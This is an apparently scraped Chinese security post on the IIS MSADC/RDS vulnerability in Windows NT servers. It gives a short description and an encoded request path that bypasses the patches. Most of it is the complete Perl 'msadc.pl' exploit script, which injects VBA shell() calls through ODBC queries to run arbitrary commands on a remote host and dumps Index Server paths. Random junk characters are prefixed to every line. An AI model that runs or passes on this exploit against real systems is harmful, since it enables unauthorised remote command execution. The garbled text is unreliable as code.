IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
iOxygs#p inrL'z 涉及程序:
%)V3QnBO Microsoft NT server
0l*/_;wo MLX.MUS 描述:
K.Z{4x=0 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|05LHwb> @DR&e^Zz 详细:
9hU@VPB~ 如果你没有时间读详细内容的话,就删除:
(FHh,y~v c:\Program Files\Common Files\System\Msadc\msadcs.dll
)cXc"aj@s 有关的安全问题就没有了。
!^\/
1^ b
L~<~gA 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
eyV904<F .jw)e!<\N 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
=Y0m;-1M 关于利用ODBC远程漏洞的描述,请参看:
VVY\W! +a;j>hh http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3iTjM>+> 4F?1,-X 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
qZG >FC37 http://www.microsoft.com/security/bulletins/MS99-025faq.asp [Ma9 ]W,g>91m 这里不再论述。
)
|a5Qxz V y$\.2= 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
~JiA Fy^\U w /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
HL]?CWtGP 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
xm5D$m3# P2kZi=0 huIr*)r&p #将下面这段保存为txt文件,然后: "perl -x 文件名"
lvlH5Fc &$[{L)D #!perl
P@#6.Bb#V #
oGZ9@Y)(T # MSADC/RDS 'usage' (aka exploit) script
DS fKUx& #
=%p{"< # by rain.forest.puppy
Ycwb1e# #
sYzG_*) # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&V
L<Rx # beta test and find errors!
}{"\"Bn_ `shB[Lt use Socket; use Getopt::Std;
;z#9>99rH getopts("e:vd:h:XR", \%args);
YX(%jcj* ~S9nLb:O{ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
x4K5 FKP^f\!M if (!defined $args{h} && !defined $args{R}) {
8}"j#tDc print qq~
)d~Mag+ Usage: msadc.pl -h <host> { -d <delay> -X -v }
5I14"Qf -h <host> = host you want to scan (ip or domain)
!p$V7pFu6 -d <seconds> = delay between calls, default 1 second
Yu=^`I -X = dump Index Server path table, if available
jQhf)B -v = verbose
03PVbDq- -e = external dictionary file for step 5
Z:Wix|,ONS yLP0w^Q Or a -R will resume a command session
M<729M kH'Cx^=c6h ~; exit;}
'%,Re-8O %j,Ny}a $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-#r_9HQ,w if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
1 /`>Eh if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
<~3 aaO if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Cnolka" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
cD\Qt9EI if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
V-31x ) BI
s! if (!defined $args{R}){ $ret = &has_msadc;
:Z)s'd. die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
8"@<s?0\" &zR}jD> print "Please type the NT commandline you want to run (cmd /c assumed):\n"
c8u0\X, . "cmd /c ";
>,v~,<3
i $in=<STDIN>; chomp $in;
1NTe@r!y $command="cmd /c " . $in ;
U7W ct % 6!$S1z#wM if (defined $args{R}) {&load; exit;}
bu.36\78 4}CRM# W2 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
.&ZVy{uP &try_btcustmr;
{:Q2Itsy |Yx8Ez print "\nStep 2: Trying to make our own DSN...";
:1iw_GhJf &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@P-7a`3* A28w/=e7 print "\nStep 3: Trying known DSNs...";
3O.-'U1K &known_dsn;
khR3[ju {^ I'gnw~ print "\nStep 4: Trying known .mdbs...";
8P 8"dN[ &known_mdb;
^V:YNUqp# &Fi8@0Fh if (defined $args{e}){
Um~jp:6p print "\nStep 5: Trying dictionary of DSN names...";
s-*XAnot &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
><=af 9T ru&RL
HFV print "Sorry Charley...maybe next time?\n";
Kk,->q<1 exit;
;9~z_orNQZ 9#p^Z)[)- ##############################################################################
JsC0^A;fM 8WH> sub sendraw { # ripped and modded from whisker
kahv1s- sleep($delay); # it's a DoS on the server! At least on mine...
zb<+x(0y" my ($pstr)=@_;
Z_;' r|c socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
2#R"#Q! die("Socket problems\n");
8c~H![2u if(connect(S,pack "SnA4x8",2,80,$target)){
myo/}58Nv select(S); $|=1;
aH6pys!O print $pstr; my @in=<S>;
D"hiEz select(STDOUT); close(S);
kO4C^pl"v return @in;
oH;Y} h } else { die("Can't connect...\n"); }}
WRgz]=W3w 4 (yHD ##############################################################################
dug RO[ xP*R H-< sub make_header { # make the HTTP request
}"T:z{n my $msadc=<<EOT
A;g[G >J POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
"[%NXan User-Agent: ACTIVEDATA
<Z5prunov Host: $ip
V;z?m)ur Content-Length: $clen
WlY%f}ln Connection: Keep-Alive
hk=+t&Y<H R6!3Y/Q@ ADCClientVersion:01.06
.B)v "Sw# Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
_V;J7Vz HqbTJ!a --!ADM!ROX!YOUR!WORLD!
u0x\5!?2 Content-Type: application/x-varg
i"b*U5k Content-Length: $reqlen
Y8d%L;b[D YONg1.^!( EOT
JmBYD[h, ; $msadc=~s/\n/\r\n/g;
*)w
8fq return $msadc;}
h$k(|/+ T7,tJk,( ##############################################################################
j_{gk"2:d` 5pDxFs=v sub make_req { # make the RDS request
4uv }6&R my ($switch, $p1, $p2)=@_;
MDlCU my $req=""; my $t1, $t2, $query, $dsn;
> ):b AfI R38
w!6{ if ($switch==1){ # this is the btcustmr.mdb query
l})uYae/ $query="Select * from Customers where City=" . make_shell();
n;MoMGnPh, $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a5)+5 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
2q#$?qs_b Ft]sTA+C elsif ($switch==2){ # this is general make table query
%jkd}D $query="create table AZZ (B int, C varchar(10))";
4jXyA/F9V $dsn="$p1";}
FPqgncBHK $UH_)Q2#J^ elsif ($switch==3){ # this is general exploit table query
A ^~\ $query="select * from AZZ where C=" . make_shell();
.OjJK? $dsn="$p1";}
3"B|w^6'2 w90y-^p% elsif ($switch==4){ # attempt to hork file info from index server
"?Y0Ng[ $query="select path from scope()";
S`-z$ph} $dsn="Provider=MSIDXS;";}
7(oxmv}#Q Q:-/@$&i elsif ($switch==5){ # bad query
E/am^ TO` $query="select";
<sPB|5Ak $dsn="$p1";}
5/(Dh![l v\<`" $t1= make_unicode($query);
:s4CWEd $t2= make_unicode($dsn);
A*$vk2VWw $req = "\x02\x00\x03\x00";
wM|-u/9+ $req.= "\x08\x00" . pack ("S1", length($t1));
UVUHLu|^ $req.= "\x00\x00" . $t1 ;
gcz1*3) $req.= "\x08\x00" . pack ("S1", length($t2));
;zGGT^Dn $req.= "\x00\x00" . $t2 ;
~v5tx $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
6L4B$'&KQZ return $req;}
R &-bA3w$ s0\X%U(" ##############################################################################
R)H@'X -?GYW81Q sub make_shell { # this makes the shell() statement
0/%zXp&m return "'|shell(\"$command\")|'";}
Sy8Og] a
#3qkG) ##############################################################################
{u!,TDt* g'I S8@ sub make_unicode { # quick little function to convert to unicode
m1frN#3 my ($in)=@_; my $out;
X`22Hf4ct for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
k<St:X%.O return $out;}
5$y<nMP vg)zk2O ##############################################################################
yyXJ_B Y!SD^Ie7! sub rdo_success { # checks for RDO return success (this is kludge)
Pukq{/27 my (@in) = @_; my $base=content_start(@in);
=]D##R if($in[$base]=~/multipart\/mixed/){
I*0W\Qz@ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
%Jw;c`JM return 0;}
& MAIm56~
SI@I ##############################################################################
H
kg0;) M+ H$Jjcs sub make_dsn { # this makes a DSN for us
$1w8GI\J my @drives=("c","d","e","f");
$[z*MQ print "\nMaking DSN: ";
'SuYNA) foreach $drive (@drives) {
1sgoT f% print "$drive: ";
&)wQ|{P~k my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
v7g-M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
C[[z3tn . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
q-uYfXZ{j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
y(q1~73s return 0 if $2 eq "404"; # not found/doesn't exist
l
lQ<x if($2 eq "200") {
jx-W$@ foreach $line (@results) {
K%Rx5 S return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
pa.W-qyu } return 0;}
wK,tq h5Z%|J>;0 ##############################################################################
Yc9 M6=E^ te:@F]A sub verify_exists {
h'N,oDB) my ($page)=@_;
]o_ Ps| my @results=sendraw("GET $page HTTP/1.0\n\n");
haY.rH]z return $results[0];}
4YdmG.CU /423!g0Q ##############################################################################
R^K<u#>K aZmSCi:&' sub try_btcustmr {
ny#7iz/ my @drives=("c","d","e","f");
;Yi ;2ttW my @dirs=("winnt","winnt35","winnt351","win","windows");
8(ZQD+U(9F bd%/dr foreach $dir (@dirs) {
z/;NoQ- print "$dir -> "; # fun status so you can see progress
Qx
{/izc foreach $drive (@drives) {
ptUnV3h print "$drive: "; # ditto
yy%J{; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
NjMo"1d $reqlenlen=length( "$reqlen" );
thkL< $clen= 206 + $reqlenlen + $reqlen;
9g>ay-W[( 8 2_3|T my @results=sendraw(make_header() . make_req(1,$drive,$dir));
PI }A')Nq. if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^D\#*pIO else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
~(FyGB} ]0\8g=KK ##############################################################################
{At1]> &ts!D!Hj sub odbc_error {
S c@g;+#QU my (@in)=@_; my $base;
5<&<61[A my $base = content_start(@in);
8pPAEf if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
qG~O]($ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
V-t! $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
d]+g3oy
` $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4Jht{#IIG return $in[$base+4].$in[$base+5].$in[$base+6];}
B:Msn)C~ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
sfx:j~bsL print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
QHA<7Wg $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
rU(N@i% ;@Ls"+g ##############################################################################
uI+h9j$vS $S6AqUk$ sub verbose {
8sE@?, my ($in)=@_;
Ib]{rmaP return if !$verbose;
84|Hn|4t print STDOUT "\n$in\n";}
D
@T,j4o qc@CV: ##############################################################################
5.idC-\ E@t^IGDr sub save {
ij%\ld9kd my ($p1, $p2, $p3, $p4)=@_;
o^gqpQv open(OUT, ">rds.save") || print "Problem saving parameters...\n";
yl)}1DPP print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
~,dj)x
3M close OUT;}
IaN|S|n~ C
<]rY ##############################################################################
0;o`7f (%\N-[yZ sub load {
hCc I
>[H5 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
kE/>Ys@w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
C S+6!F] @p=<IN>; close(IN);
wB"&K;t $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
NaLec|6<t $target= inet_aton($ip) || die("inet_aton problems");
~^:/t<N print "Resuming to $ip ...";
nB"q $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
/ [:@j+n\ if($p[1]==1) {
7@MVInV9 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
T|r@:t[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
X8F _Mb* my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
8%2*RKj if (rdo_success(@results)){print "Success!\n";}
/1t(e._ else { print "failed\n"; verbose(odbc_error(@results));}}
i3N _wv{ elsif ($p[1]==3){
rAk*~OK if(run_query("$p[3]")){
j2g#t print "Success!\n";} else { print "failed\n"; }}
}h EBX:- elsif ($p[1]==4){
Cd]d[{NJ; if(run_query($drvst . "$p[3]")){
j[9xF<I print "Success!\n"; } else { print "failed\n"; }}
IZniRd; exit;}
%<:?{<~wH9 [sbC6(z ##############################################################################
:,6dW?mun6 `dMl5b sub create_table {
cKdy)T%; my ($in)=@_;
YtE V8w_$ $reqlen=length( make_req(2,$in,"") ) - 28;
M'Q{2%:>a $reqlenlen=length( "$reqlen" );
?}lgwKBHl; $clen= 206 + $reqlenlen + $reqlen;
@4_W}1W my @results=sendraw(make_header() . make_req(2,$in,""));
R CnN+b:c return 1 if rdo_success(@results);
,RDxu7iT my $temp= odbc_error(@results); verbose($temp);
v~uQ_ae$> return 1 if $temp=~/Table 'AZZ' already exists/;
0g~WM return 0;}
^=}~ T&6{|IfM_ ##############################################################################
{ SJ=|L6 WSKG8JT^| sub known_dsn {
{PWz:\oaD # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*~4w%U4T0 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
!JJCG "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
ey@y?X= "banner", "banners", "ads", "ADCDemo", "ADCTest");
2j*\n|"}{ XLI'f$w& foreach $dSn (@dsns) {
i%D/@$\D6 print ".";
a| next if (!is_access("DSN=$dSn"));
{HlUV33O if(create_table("DSN=$dSn")){
&}wKC:LSP print "$dSn successful\n";
V! a|rTU6 if(run_query("DSN=$dSn")){
`%"zq"1`0 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
C.FGi`rrm print "Something's borked. Use verbose next time\n";}}} print "\n";}
<j-Bj$3 &>p2N ##############################################################################
+);o{wfW (SU*fD!t sub is_access {
YNH>^cD1 my ($in)=@_;
t-3wjS1v $reqlen=length( make_req(5,$in,"") ) - 28;
?9
m3y0 $reqlenlen=length( "$reqlen" );
(/Hq8o-Fw $clen= 206 + $reqlenlen + $reqlen;
\bZbz/+D my @results=sendraw(make_header() . make_req(5,$in,""));
M
+~guTh my $temp= odbc_error(@results);
o#4Wn'E verbose($temp); return 1 if ($temp=~/Microsoft Access/);
VEd\* return 0;}
LPvyfD;Zy *.~hn5Y|? ##############################################################################
av&dGsFP 9Or3X/:o sub run_query {
!s9<%bp3 my ($in)=@_;
w1h07_u;v $reqlen=length( make_req(3,$in,"") ) - 28;
"u3 $reqlenlen=length( "$reqlen" );
Oh5(8.<y $clen= 206 + $reqlenlen + $reqlen;
=3 }@\f# my @results=sendraw(make_header() . make_req(3,$in,""));
{y)s85:t return 1 if rdo_success(@results);
v$owG-_>< my $temp= odbc_error(@results); verbose($temp);
2<qq[2 return 0;}
=3^YKI N|WnUlf]: ##############################################################################
x{&0:|bCs6 P)tX U sub known_mdb {
_bMD| my @drives=("c","d","e","f","g");
7Z93`A-= my @dirs=("winnt","winnt35","winnt351","win","windows");
<~u.:x@ R my $dir, $drive, $mdb;
_Oh;._PS my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_|g(BK2} 69`9!heu # this is sparse, because I don't know of many
H7H'0C my @sysmdbs=( "\\catroot\\icatalog.mdb",
8n,i5>!d "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Z"mpE+U* "\\system32\\certmdb.mdb",
/1gKc}rB2 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
7=6p ec)G~?FH my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I,l%6oPa "\\cfusion\\cfapps\\forums\\forums_.mdb",
\4bma<~a "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
iShB^ "\\cfusion\\cfapps\\security\\realm_.mdb",
0/#XUX 4 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6jO*rseC "\\cfusion\\database\\cfexamples.mdb",
d&n0:xOc "\\cfusion\\database\\cfsnippets.mdb",
eWhv X9
< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
{Ejv8UdA9 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
!3-mPG<
] "\\cfusion\\brighttiger\\database\\cleam.mdb",
Cc1sZWvz "\\cfusion\\database\\smpolicy.mdb",
P zzX Ds6 "\\cfusion\\database\cypress.mdb",
e-]k{_wm "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
N?p9h{DG "\\website\\cgi-win\\dbsample.mdb",
|rq~.cA "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
Sr,ZM1J "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
M+ ^]j ); #these are just
d_QHm;}Cx foreach $drive (@drives) {
6<(HT#=# foreach $dir (@dirs){
.[+8D= foreach $mdb (@sysmdbs) {
mRW(]OFIai print ".";
{t;Q#Ou. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
lmz{,O print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/thCu%%9A if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*$1*\oCtz print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aL-V 9y } else { print "Something's borked. Use verbose next time\n"; }}}}}
D@"q2 ! a`~$6
"v foreach $drive (@drives) {
Iu[^" foreach $mdb (@mdbs) {
6aX m9J print ".";
@ J!)o d if(create_table($drv . $drive . $dir . $mdb)){
KVSy^-." print "\n" . $drive . $dir . $mdb . " successful\n";
Rl=NVo if(run_query($drv . $drive . $dir . $mdb)){
Rqa#;wb!( print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
6K[s),rdv } else { print "Something's borked. Use verbose next time\n"; }}}}
|*Z'WUv }
|/]bpG 'z qV@xEgW#r ##############################################################################
3S_KycE{ Yu9Ccj` sub hork_idx {
g5M-Vu print "\nAttempting to dump Index Server tables...\n";
hkRv0q.' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Ipb4{A&"\ $reqlen=length( make_req(4,"","") ) - 28;
U:J~Oy_Z $reqlenlen=length( "$reqlen" );
hh |'Uq3 $clen= 206 + $reqlenlen + $reqlen;
!:c7I@ my @results=sendraw2(make_header() . make_req(4,"",""));
"sUe:F; if (rdo_success(@results)){
VS%8f.7ep my $max=@results; my $c; my %d;
h7~&rWb for($c=19; $c<$max; $c++){
BaR9X ?~O$ $results[$c]=~s/\x00//g;
$*G]6s $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
<$Q&n{ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.Uh-Wi[ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w44{~[0d4 $d{"$1$2"}="";}
sog?Mvoq foreach $c (keys %d){ print "$c\n"; }
#v89`$#`2 } else {print "Index server doesn't seem to be installed.\n"; }}
S;Lqx5Cd fdck/|`t ##############################################################################
DJr 8<u "P&|e|7 sub dsn_dict {
#Ru+|KL open(IN, "<$args{e}") || die("Can't open external dictionary\n");
%Kw5b ; while(<IN>){
7V 2% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
6i9m!YQV next if (!is_access("DSN=$dSn"));
mu=u!by.E if(create_table("DSN=$dSn")){
RRV@nDf print "$dSn successful\n";
rfXM*h if(run_query("DSN=$dSn")){
HqcXP2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
bpzB}nEp print "Something's borked. Use verbose next time\n";}}}
$O%lYQY] print "\n"; close(IN);}
B5=L</Aj O)\xElu ##############################################################################
[LjYLm%< ]^8:"Ky' sub sendraw2 { # ripped and modded from whisker
9/~m837x sleep($delay); # it's a DoS on the server! At least on mine...
nDMNaMYb my ($pstr)=@_;
JBeC\ \QX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
l.;y`cs die("Socket problems\n");
Nr:%oD_G* if(connect(S,pack "SnA4x8",2,80,$target)){
i._d^lR\t print "Connected. Getting data";
sN5x\9U open(OUT,">raw.out"); my @in;
NV36Q^Am[ select(S); $|=1; print $pstr;
HTQ.kV while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
p%xo@v( close(OUT); select(STDOUT); close(S); return @in;
!`=r('l } else { die("Can't connect...\n"); }}
O|4~$7 \^|ncu:T ##############################################################################
t{F6+d p L6r&